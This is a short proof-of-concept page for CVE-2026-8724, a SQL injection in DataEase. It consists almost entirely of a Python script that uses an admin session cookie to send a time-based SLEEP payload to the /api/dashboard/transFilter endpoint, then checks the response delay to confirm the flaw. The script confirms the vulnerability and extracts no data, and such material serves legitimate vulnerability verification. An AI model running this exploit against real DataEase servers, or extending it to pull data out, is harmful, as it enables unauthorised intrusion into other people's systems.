CVE-2026-8724 DataEase SQL注入漏洞

import requests # Target URL configuration target_url = "http://target-ip:port/api/dashboard/transFilter" # Attacker's session cookie (High privilege is required per CVSS vector PR:H) cookies = { "SESSION": "valid_admin_session_cookie" } # Malicious payload to demonstrate SQL Injection # This payload attempts to cause a time-based delay to confirm vulnerability payload = "1' AND SLEEP(5)-- " data = { "filter": payload } try: response = requests.post(target_url, cookies=cookies, json=data) # Check if the response time indicates successful execution of the sleep command if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: SQL Injection caused a time delay.") else: print("[-] Target may not be vulnerable or payload incorrect.") print("Response status:", response.status_code) except Exception as e: print(f"Error: {e}")